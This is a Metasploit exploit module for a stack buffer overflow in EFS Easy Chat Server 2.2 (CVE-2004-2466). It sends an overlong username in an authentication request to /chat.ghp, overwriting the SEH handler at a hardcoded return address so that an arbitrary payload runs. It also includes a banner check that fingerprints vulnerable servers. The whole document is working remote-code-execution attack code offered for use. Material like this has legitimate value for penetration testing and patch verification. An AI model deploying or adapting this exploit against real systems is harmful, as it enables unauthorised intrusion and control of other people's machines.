EFS Easy Chat Server Authentication Request Handling Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in EFS Software Easy Chat Server. By  
sending a overly long authentication request, an attacker may be able to execute  
arbitrary code.  
},  
'Author' => [ 'LSO <lso[@]hushmail.com>' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-2466' ],  
[ 'OSVDB', '7416' ],  
[ 'BID', '25328' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k  
],  
'DisclosureDate' => 'Aug 14 2007',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def check  
res = send_request_raw  
  
if res and res['Server'] =~ /Easy Chat Server\/1.0/  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
# randomize some values.  
val = rand_text_alpha(rand(10) + 1)  
num = rand_text_numeric(1)  
  
# exploit buffer.  
filler = rand_text_alpha(216)  
seh = generate_seh_payload(target.ret)  
juju = filler + seh  
  
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}"  
  
print_status("Trying target #{target.name}...")  
  
send_request_raw({'uri' => uri}, 5)  
  
handler  
disconnect  
end  
  
end  
  
`